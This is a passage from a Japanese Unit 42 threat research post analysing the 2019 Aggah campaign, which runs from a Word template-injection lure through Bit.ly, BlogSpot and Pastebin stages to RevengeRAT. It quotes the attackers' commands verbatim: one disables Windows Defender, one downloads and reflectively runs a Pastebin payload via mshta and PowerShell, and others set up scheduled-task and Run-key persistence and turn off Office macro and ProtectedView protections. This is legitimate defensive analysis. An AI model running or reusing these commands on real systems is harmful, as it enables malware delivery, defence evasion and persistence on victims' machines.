[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.jp/) [![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/ja/) Menu * [セキュリティ コンサルティング](https://www.paloaltonetworks.com/unit42) * [**現在、攻撃を受けていますか?**](https://start.paloaltonetworks.com/contact-unit42.html) Japanese * [English](https://unit42.paloaltonetworks.com/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/) * [Japanese](https://unit42.paloaltonetworks.com/ja/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/) * [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research") * [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/ "脅威リサーチ") * [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/ "マルウェア") [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/) # Aggahキャンペーン: 大規模キャンペーンでC2用に使用されたBit.ly、BlogSpot、およびPastebin ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 4 分で読めます * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) 著者: * [Brittany Barbehenn](https://unit42.paloaltonetworks.com/ja/author/brittany-barbehenn/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) 公開日:2019年4月17日 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) カテゴリー * [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/) * [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) タグ: * [Aggah](https://unit42.paloaltonetworks.com/ja/tag/aggah-ja/) * [RevengeRAT](https://unit42.paloaltonetworks.com/ja/tag/revengerat-ja/) * [Template Injection](https://unit42.paloaltonetworks.com/ja/tag/template-injection-ja/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/ja/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/?pdf=download&lg=ja&_wpnonce=40dbae5d0f "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/ja/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/?pdf=print&lg=ja&_wpnonce=40dbae5d0f "Click here to print") 共有![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Aggahキャンペーン:%20大規模キャンペーンでC2用に使用されたBit.ly、BlogSpot、およびPastebin&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Faggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Faggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Faggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign%2F&title=Aggahキャンペーン:%20大規模キャンペーンでC2用に使用されたBit.ly、BlogSpot、およびPastebin "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Faggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign%2F&text=Aggahキャンペーン:%20大規模キャンペーンでC2用に使用されたBit.ly、BlogSpot、およびPastebin "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Faggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=Aggahキャンペーン:%20大規模キャンペーンでC2用に使用されたBit.ly、BlogSpot、およびPastebin%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Faggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign%2F "Share in Mastodon") ## 概要 2019年3月、Unit 42は、主に中東のある国の組織に的を絞っているようにみえた攻撃キャンペーンを調べ始めました。さらなる分析から、このアクティビティが、その地域だけでなく、米国と欧州およびアジアの全域にも影響を及ぼすさらに大規模なキャンペーンの一部である可能性が明らかになりました。 配信文書の分析から、それが[テンプレート インジェクション](https://attack.mitre.org/techniques/T1221/)を介してリモート サーバーから、悪意のあるマクロが有効化された文書をロードするように作成されていることがわかりました。これらのマクロは、BlogSpot投稿を使用してスクリプトを取得します。このスクリプトは複数のPastebin貼り付けを使用して追加のスクリプトをロードし、最終的には、最後のペイロードが、C2用のduckdns\[.\]orgドメインが設定されたRevengeRATとなります。弊社の調査において、最終的にPastebinでホストされているRevengeRATをインストールするための同じプロセスに従っている複数の関連する配信文書が見つかりました。これは、攻撃者が攻撃キャンペーン全体を通じてこれらのTTPを使用したことを示唆しています。 当初、このアクティビティはGorgon Groupと関連している可能性があると弊社は考えました。弊社の仮説は、RevengeRATの使用を含む高度なTTPに基づいていました。ただし、Unit 42ではまだ、Gorgon Groupと関連することを色濃く示すその他の指標との直接的な一致を特定していません。このため、適度な確実性で、このアクティビティをGorgon Groupに帰属させることはできません。 それを考慮して、Unit 42は、攻撃者の別名"hagga"に基づいて、このブログで説明するアクティビティをAggahキャンペーンと呼んでいます。"hagga"は、RevengeRAT C2サーバーへ送信されるデータを分割するために使用され、RevengeRATのペイロードをホストするために使用されたPastebinアカウントの1つの名前です。 ## 配信 Aggahキャンペーンに関する弊社の調査は、2019年3月27日に電子メールを介して、中東のある国の組織に送信された配信文書から開始されました。この電子メールは、恐らくなりすましですが、同じ国内の大手金融機関を発信元に見せかけていました。電子メールの件名は、"お客様の口座がロックされています(Your account is locked.)"というものです。この最初の配信文書は、中東のある国の組織、特に、教育、メディア/マーケティング、および政府関連の垂直市場の組織に送信されました。4日後の3月31日、同じ配信電子メールが中東の2番目の国で金融組織に送信されたことがわかりました。その後、この配信文書は、テクノロジー、小売、製造、州/地方自治体、病院、医療、その他の専門的ビジネスなどの同様の垂直市場を標的として、米国、欧州、およびアジア内の組織に送信された、より大規模なキャンペーンの多数の中の1つにすぎないことが判明しました。関連する文書は機能上同様であるため、分析した元のサンプルについて説明します。 ![図1.ユーザーがマクロを有効化するように仕向けるためにActivity.docで使用されたルアーの画像](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/11/word-image-188.png) 図1.ユーザーがマクロを有効化するように仕向けるためにActivity.docで使用されたルアーの画像 3月27日に送信された電子メールには、ファイル名が"Activity.doc" (SHA256: d7c92a8aa03478155de6813c35e84727ac9d383e27ba751d833e5efba3d77946) というWord文書が添付されており、これが[テンプレート インジェクション](https://attack.mitre.org/techniques/T1221/)を介したリモートOLE文書のロードを行おうとしていました。"Activity.doc"を開くと、マクロを実行可能にするために、ユーザーがコンテンツを有効化するように仕向けるルアーとして、図1の画像が表示されます。Office 365のオンライン版のWordではマクロが機能しないため、ルアーは、デスクトップ版のMicrosoft Wordで文書を開く必要があることをユーザーに示唆します。"Activity.doc"ファイルにはマクロは含まれていませんが、そのファイルがリモート サーバーからロードするOLE文書にマクロが含まれています。 ## Activity.docの分析 配信文書は、[テンプレート インジェクション](https://attack.mitre.org/techniques/T1221/)を使用して、リモート サーバーでホストされているファイルをロードします。図2は、配信文書のフッターのコンテンツを示しています。これが、hxxps://static.wixstatic\[.\]com/ugd/05e470\_b104c366c1f7423293887062c7354db2.docからのリモートOLE文書のロードを行おうとします。 ![図2.リモートOLEの位置を示すActivity.docのフッター](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/11/word-image-189.png) 図2.リモートOLEの位置を示すActivity.docのフッター Activity.docファイルのフッター内でロードされたリモートOLEファイルは、実際にはRTFファイル(SHA256: 5f762589cdb8955308db4bba140129f172bf2dbc1e979137b6cc7949f7b19e6f)であり、かなりの量の「ジャンク」コードを含む、極めて難読化された、埋め込みのExcel文書をロードします。このマクロの目的は、"Shell"コマンドを介して次のURLをデコードし実行することです。 mshta hxxp://www.bitly\[.\]com/SmexEaldos3 上記のコマンドは、組み込まれた"mshta"アプリケーションを使用して、提供されたURL、この場合はBit.lyサービスを使用して短縮されたURLのコンテンツをダウンロードします。WildFireの分析中、この短縮されたbit.ly URLは、図3のHTTP応答の"Location"フィールドに見られるように、hxxps://bjm9.blogspot\[.\]com/p/si.htmlへリダイレクトされました。 ![図3.Blogspotでホストされたブログを指し示すBit.ly短縮リンク](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/11/word-image-190.png) 図3.Blogspotでホストされたブログを指し示すBit.ly短縮リンク 上記のGETリクエストでわかるとおり、リダイレクトによってブラウザ(この場合、"mshta.exe")は、blogspot\[.\]comでホストされているブログを指しています。図4からわかるとおり、このBlogSpot記事は少し奇妙に見えますが、必ずしも悪意があるわけではありません。 ![図4. Bjm9.blogspot\[.\]comの画面キャプチャ](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/11/word-image-191.png) 図4. Bjm9.blogspot\[.\]comの画面キャプチャ ブログでホストされたコードを分析することで、それに埋め込まれた、いくつかのアクティビティを実行するJavaScriptが実際に含まれていることを発見しました。図5は、一見したところ無害に見えるブログでホストされている、悪意のあるJavaScriptを示しています。 ![図5.bjm9 Blogspot記事に埋め込まれたスクリプト](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/11/word-image-192.png) 図5.bjm9 Blogspot記事に埋め込まれたスクリプト この悪意のあるスクリプトは、侵害したシステム上でいくつかのアクティビティを実行します。最初に、設定されているシグネチャを削除して、Microsoft Defenderを妨害しようとします。また、このスクリプトは、いくつかのOfficeアプリケーションのプロセスとともに、Defenderのプロセスも停止します。これらはすべて、以下のコマンドラインを使用して実行されます。 cmd.exe /c cd ""%ProgramFiles%\\Windows Defender"" \& MpCmdRun.exe -removedefinitions -dynamicsignatures \& taskkill /f /im winword.exe \& taskkill /f /im excel.exe \& taskkill /f /im MSPUB.exe \& taskkill /f /im POWERPNT.EXE \& forfiles /c ""taskkill /f /im MSASCuiL.exe"" \& forfiles /c ""taskkill /f /im MpCmdRun.exe"" \& exit |---|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 | cmd.exe /c cd ""%ProgramFiles%\\Windows Defender"" \& MpCmdRun.exe -removedefinitions -dynamicsignatures \& taskkill /f /im winword.exe \& taskkill /f /im excel.exe \& taskkill /f /im MSPUB.exe \& taskkill /f /im POWERPNT.EXE \& forfiles /c ""taskkill /f /im MSASCuiL.exe"" \& forfiles /c ""taskkill /f /im MpCmdRun.exe"" \& exit | 次に、スクリプトは、マクロを有効にし、ProtectedViewを無効にするためのレジストリ キーを設定することで、Office製品内のセキュリティ メカニズムを無効化しようとします。まず、スクリプトは、以下のレジストリ キーの値を"1"に設定して、Word、PowerPointおよびExcelでマクロを有効化します。 HKCU\\Software\\Microsoft\\Office\\11.0\\Word\\Security\\VBAWarnings HKCU\\Software\\Microsoft\\Office\\12.0\\Word\\Security\\VBAWarnings HKCU\\Software\\Microsoft\\Office\\14.0\\Word\\Security\\VBAWarnings HKCU\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\VBAWarnings HKCU\\Software\\Microsoft\\Office\\16.0\\Word\\Security\\VBAWarnings HKCU\\Software\\Microsoft\\Office\\11.0\\PowerPoint\\Security\\VBAWarnings HKCU\\Software\\Microsoft\\Office\\12.0\\PowerPoint\\Security\\VBAWarnings HKCU\\Software\\Microsoft\\Office\\14.0\\PowerPoint\\Security\\VBAWarnings HKCU\\Software\\Microsoft\\Office\\15.0\\PowerPoint\\Security\\VBAWarnings HKCU\\Software\\Microsoft\\Office\\16.0\\PowerPoint\\Security\\VBAWarnings HKCU\\Software\\Microsoft\\Office\\11.0\\Excel\\Security\\VBAWarnings HKCU\\Software\\Microsoft\\Office\\12.0\\Excel\\Security\\VBAWarnings HKCU\\Software\\Microsoft\\Office\\14.0\\Excel\\Security\\VBAWarnings HKCU\\Software\\Microsoft\\Office\\15.0\\Excel\\Security\\VBAWarnings HKCU\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\VBAWarnings 次に、スクリプトは、以下のレジストリ キーの値を"1"に設定して、Word、PowerPointおよびExcel内のProtectedViewセキュリティ メカニズムを無効化しようとします。 HKCU\\Software\\Microsoft\\Office\\11.0\\Word\\Security\\ProtectedView\\DisableInternetFilesInPV HKCU\\Software\\Microsoft\\Office\\11.0\\Word\\Security\\ProtectedView\\DisableAttachementsInPV HKCU\\Software\\Microsoft\\Office\\11.0\\Word\\Security\\ProtectedView\\DisableUnsafeLocationsInPV HKCU\\Software\\Microsoft\\Office\\11.0\\PowerPoint\\Security\\ProtectedView\\DisableInternetFilesInPV HKCU\\Software\\Microsoft\\Office\\11.0\\PowerPoint\\Security\\ProtectedView\\DisableAttachementsInPV HKCU\\Software\\Microsoft\\Office\\11.0\\PowerPoint\\Security\\ProtectedView\\DisableUnsafeLocationsInPV HKCU\\Software\\Microsoft\\Office\\11.0\\Excel\\Security\\ProtectedView\\DisableInternetFilesInPV HKCU\\Software\\Microsoft\\Office\\11.0\\Excel\\Security\\ProtectedView\\DisableAttachementsInPV HKCU\\Software\\Microsoft\\Office\\11.0\\Excel\\Security\\ProtectedView\\DisableUnsafeLocationsInPV HKCU\\Software\\Microsoft\\Office\\12.0\\Word\\Security\\ProtectedView\\DisableInternetFilesInPV HKCU\\Software\\Microsoft\\Office\\12.0\\Word\\Security\\ProtectedView\\DisableAttachementsInPV HKCU\\Software\\Microsoft\\Office\\12.0\\Word\\Security\\ProtectedView\\DisableUnsafeLocationsInPV HKCU\\Software\\Microsoft\\Office\\12.0\\PowerPoint\\Security\\ProtectedView\\DisableInternetFilesInPV HKCU\\Software\\Microsoft\\Office\\12.0\\PowerPoint\\Security\\ProtectedView\\DisableAttachementsInPV HKCU\\Software\\Microsoft\\Office\\12.0\\PowerPoint\\Security\\ProtectedView\\DisableUnsafeLocationsInPV HKCU\\Software\\Microsoft\\Office\\12.0\\Excel\\Security\\ProtectedView\\DisableInternetFilesInPV HKCU\\Software\\Microsoft\\Office\\12.0\\Excel\\Security\\ProtectedView\\DisableAttachementsInPV HKCU\\Software\\Microsoft\\Office\\12.0\\Excel\\Security\\ProtectedView\\DisableUnsafeLocationsInPV HKCU\\Software\\Microsoft\\Office\\14.0\\Word\\Security\\ProtectedView\\DisableInternetFilesInPV HKCU\\Software\\Microsoft\\Office\\14.0\\Word\\Security\\ProtectedView\\DisableAttachementsInPV HKCU\\Software\\Microsoft\\Office\\14.0\\Word\\Security\\ProtectedView\\DisableUnsafeLocationsInPV HKCU\\Software\\Microsoft\\Office\\14.0\\PowerPoint\\Security\\ProtectedView\\DisableInternetFilesInPV HKCU\\Software\\Microsoft\\Office\\14.0\\PowerPoint\\Security\\ProtectedView\\DisableAttachementsInPV HKCU\\Software\\Microsoft\\Office\\14.0\\PowerPoint\\Security\\ProtectedView\\DisableUnsafeLocationsInPV HKCU\\Software\\Microsoft\\Office\\14.0\\Excel\\Security\\ProtectedView\\DisableInternetFilesInPV HKCU\\Software\\Microsoft\\Office\\14.0\\Excel\\Security\\ProtectedView\\DisableAttachementsInPV HKCU\\Software\\Microsoft\\Office\\14.0\\Excel\\Security\\ProtectedView\\DisableUnsafeLocationsInPV HKCU\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\ProtectedView\\DisableInternetFilesInPV HKCU\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\ProtectedView\\DisableAttachementsInPV HKCU\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\ProtectedView\\DisableUnsafeLocationsInPV HKCU\\Software\\Microsoft\\Office\\15.0\\PowerPoint\\Security\\ProtectedView\\DisableInternetFilesInPV HKCU\\Software\\Microsoft\\Office\\15.0\\PowerPoint\\Security\\ProtectedView\\DisableAttachementsInPV HKCU\\Software\\Microsoft\\Office\\15.0\\PowerPoint\\Security\\ProtectedView\\DisableUnsafeLocationsInPV HKCU\\Software\\Microsoft\\Office\\15.0\\Excel\\Security\\ProtectedView\\DisableInternetFilesInPV HKCU\\Software\\Microsoft\\Office\\15.0\\Excel\\Security\\ProtectedView\\DisableAttachementsInPV HKCU\\Software\\Microsoft\\Office\\15.0\\Excel\\Security\\ProtectedView\\DisableUnsafeLocationsInPV HKCU\\Software\\Microsoft\\Office\\16.0\\Word\\Security\\ProtectedView\\DisableInternetFilesInPV HKCU\\Software\\Microsoft\\Office\\16.0\\Word\\Security\\ProtectedView\\DisableAttachementsInPV HKCU\\Software\\Microsoft\\Office\\16.0\\Word\\Security\\ProtectedView\\DisableUnsafeLocationsInPV HKCU\\Software\\Microsoft\\Office\\16.0\\PowerPoint\\Security\\ProtectedView\\DisableInternetFilesInPV HKCU\\Software\\Microsoft\\Office\\16.0\\PowerPoint\\Security\\ProtectedView\\DisableAttachementsInPV HKCU\\Software\\Microsoft\\Office\\16.0\\PowerPoint\\Security\\ProtectedView\\DisableUnsafeLocationsInPV HKCU\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\\DisableInternetFilesInPV HKCU\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\\DisableAttachementsInPV HKCU\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\\DisableUnsafeLocationsInPV レジストリ キーを変更する命令を含め、マクロを有効にし、Office内のProtectedViewを無効にする手法については、弊社の[Gorgon Groupを取り上げたブログでも説明されています。](https://unit42.paloaltonetworks.com/ja/unit42-gorgon-group-slithering-nation-state-cybercrime/)また、Windows DefenderとMicrosoft Officeアプリケーションのプロセスを停止する策略は、同様にGorgonによっても行われています。Gorgon Groupもまた、その攻撃の中でbitly URL短縮サービスを使用しています。これらは明らかに手法として重なりますが、弊社ではまだ、この攻撃キャンペーンがGorgonに関連するという具体的な証拠を見つけていません。 Blogspotでホストされているスクリプトは、その後、以下を含む3つの主要なアクティビティを実行します。 1. Pastebin URLからのぺイロードのダウンロード 2. Pastebin URLから定期的にスクリプトを取得して実行するためのスケジュールされたタスクの作成 3. Pastebin URLからスクリプトを取得して実行するための自動実行レジストリ キーの作成 ## Pastebinからのペイロードの取得 Blogspotでホストされているスクリプトは、Pastebin URLからPortable Executableのペイロードを取得し、それを実行します。このスクリプトは、次のコマンドを作成し、WScript.Shellオブジェクトを使用して、それを実行しようとします。 mshta.exe vbscript:CreateObject(""Wscript.Shell"").Run(""powershell.exe -noexit -command \[Reflection.Assembly\]::Load(\[System.Convert\]::FromBase64String((New-Object Net.WebClient).DownloadString(\\'h\\'+\\'t\\'+\\'t\\'+\\'p\\'+\\'s:\\'+\\'//p\\'+\\'a\\'+\\'s\\'+\\'t\\'+\\'e\\'+\\'b\\'+\\'i\\'+\\'n\\'+\\'.\\'+\\'c\\'+\\'o\\'+\\'m\\'+\\'/\\'+\\'r\\'+\\'a\\'+\\'w\\'+\\'/\\'+\\'2LDaeHE1\\'))).EntryPoint.Invoke($N,$N)"",0,true)(window.close) |---|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 | mshta.exe vbscript:CreateObject(""Wscript.Shell"").Run(""powershell.exe -noexit -command \[Reflection.Assembly\]::Load(\[System.Convert\]::FromBase64String((New-Object Net.WebClient).DownloadString(\\'h\\'+\\'t\\'+\\'t\\'+\\'p\\'+\\'s:\\'+\\'//p\\'+\\'a\\'+\\'s\\'+\\'t\\'+\\'e\\'+\\'b\\'+\\'i\\'+\\'n\\'+\\'.\\'+\\'c\\'+\\'o\\'+\\'m\\'+\\'/\\'+\\'r\\'+\\'a\\'+\\'w\\'+\\'/\\'+\\'2LDaeHE1\\'))).EntryPoint.Invoke($N,$N)"",0,true)(window.close) | 上記のコマンドは、https://pastebin\[.\]com/raw/2LDaeHE1でPastebin上でホストされているPortable Executableファイルをダウンロードし、そのURLからダウンロードしたbase64をデコードして、それを実行します。図6は、スクリプトによってダウンロードされた実行可能ファイルをホストしているPastebinページを示しています。 ![図6.2LDaeHE1 Pastebinページ](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/11/word-image-193.png) 図6.2LDaeHE1 Pastebinページ デコードされたペイロードは、以下の属性を備えています。 |---------|-------------------------------------------------------------------| | SHA256 | b9b67c885200f90eaf9c4911b3a7f5e6707bcb51d1b892df1bde110 13a60f6b5 | | コンパイル時刻 | 2019-03-20 19:43:08 | *表2.pastebin\[.\]com/raw/2LDaeHE1からのデコードされたペイロード* ![図7.RevengeRATの設定](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/11/word-image-194.png) 図7.RevengeRATの設定 このペイロードはVB.NETで記述され、"Nuclear Explosion"という名前が付けられていました。これは、図7に示すとおり、C2用のドメイン"lulla.duckdns\[.\]org"を使用するように設定されたRevengeRATの亜種です。 図8に見られる設定によると、C2サーバーへのデータの送信時に、文字列"hagga"を使用して情報を分割しています。これは、図6に見られるペイロード情報をホストしているPasteBinアカウントと同じ名前であり、Aggahキャンペーンの名はこれに因んでいます。 ![図8.C2サーバーへ送信される情報を分割するために使用される文字列"hagga"を示す設定](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/11/word-image-195.png) 図8.C2サーバーへ送信される情報を分割するために使用される文字列"hagga"を示す設定 ## スケジュールされたタスクの作成 Blogspotブログでホストされているスクリプトは別のコマンドを組み立て、100分ごとに実行する、"eScan Backup"と呼ばれるスケジュールされたタスクを作成します。このスケジュールされたタスクを作成するために使用されたスクリプトによって生成されるコマンド文字列は、次のとおりです。 schtasks /create /sc MINUTE /mo 100 /tn eScan Backup /tr ""mshta vbscript:CreateObject(""Wscript.Shell"").Run(""mshta.exe https://pastebin\[.\]com/raw/tb5gHu2G"",0,true)(window.close)"" /F ' |---|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 | schtasks /create /sc MINUTE /mo 100 /tn eScan Backup /tr ""mshta vbscript:CreateObject(""Wscript.Shell"").Run(""mshta.exe https://pastebin\[.\]com/raw/tb5gHu2G"",0,true)(window.close)"" /F ' | ![図9.Pastebin URLに到達し、100分ごとにホストされたスクリプトを実行するために作成されるスケジュールされたタスク](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/11/word-image-196.png) 図9.Pastebin URLに到達し、100分ごとにホストされたスクリプトを実行するために作成されるスケジュールされたタスク "eScan Backup"タスクは、組み込みのmshtaアプリケーションを使用して、Pastebin URL、具体的には、hxxps://pastebin\[.\]com/raw/tb5gHu2Gからスクリプトをダウンロードします。弊社ではこれを引き続きtb5gHu2Gスクリプトと呼びます。弊社では、攻撃者は、eScanアンチウイルス製品に関連していると見せかけるために"eScan Backup"という名前を選択したものと考えています。図9は、Windowsのタスク スケジューラ プログラム内のスケジュールされたタスクを示しています。 tb5gHu2Gスクリプトをダウンロードして実行するスケジュールされたタスクは永続性を目的としたものです。Windows Defenderを妨害し、Officeアプリケーションを停止するために同じコマンドを実行するからです。また、tb5gHu2Gスクリプトは、Blogspotブログでホストされているスクリプトと同じVBScriptを実行しようとします。これは、図6で示した"2LDaeHE1" Pastebinページからペイロードをダウンロードして実行します。図10は、tb5gHu2GスクリプトをホストしているPastebinページを示しています。 ![図10. tb5gHu2G Pastebinページ](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/11/word-image-197.png) 図10. tb5gHu2G Pastebinページ ## 自動実行レジストリ キーの作成 Blogspotブログでホストされているスクリプトは自動実行レジストリ キーを作成します。これは、前述のスケジュールされたタスクを補完する第2の永続性メカニズムのようです。自動実行キーを作成するため、スクリプトは以下のコマンドを生成し、それを実行しようとします。 CreateObject("Wscript.Shell").regwrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\MicrosoftUpdate", "C:\\Windows\\System32\\mshta.exe vbscript:CreateObject(""Wscript.Shell"").Run(""mshta.exe%20http://pastebin\[.\]com/raw/YYZq1XR0″",0,true)(window.close)" , "REG\_EXPAND\_SZ" |---|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 | CreateObject("Wscript.Shell").regwrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\MicrosoftUpdate", "C:\\Windows\\System32\\mshta.exe vbscript:CreateObject(""Wscript.Shell"").Run(""mshta.exe%20http://pastebin\[.\]com/raw/YYZq1XR0″",0,true)(window.close)" , "REG\_EXPAND\_SZ" | この実行キーは、さらに別のPastebin URLのhttp://pastebin\[.\]com/raw/YYZq1XR0でホストされているコンテンツのダウンロードを試み、Wscript.Shellオブジェクトを使用して、スクリプトとしてそのコンテンツを実行します。図11は、スクリプトのコンテンツを表示しているPastebinページを示しています。 ![図11.YYZq1XR0 Pastebinページ](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/11/word-image-198.png) 図11.YYZq1XR0 Pastebinページ YYZq1XR0 Pastebin貼り付けには、ほとんど役に立たない以下のスクリプトが含まれます。 \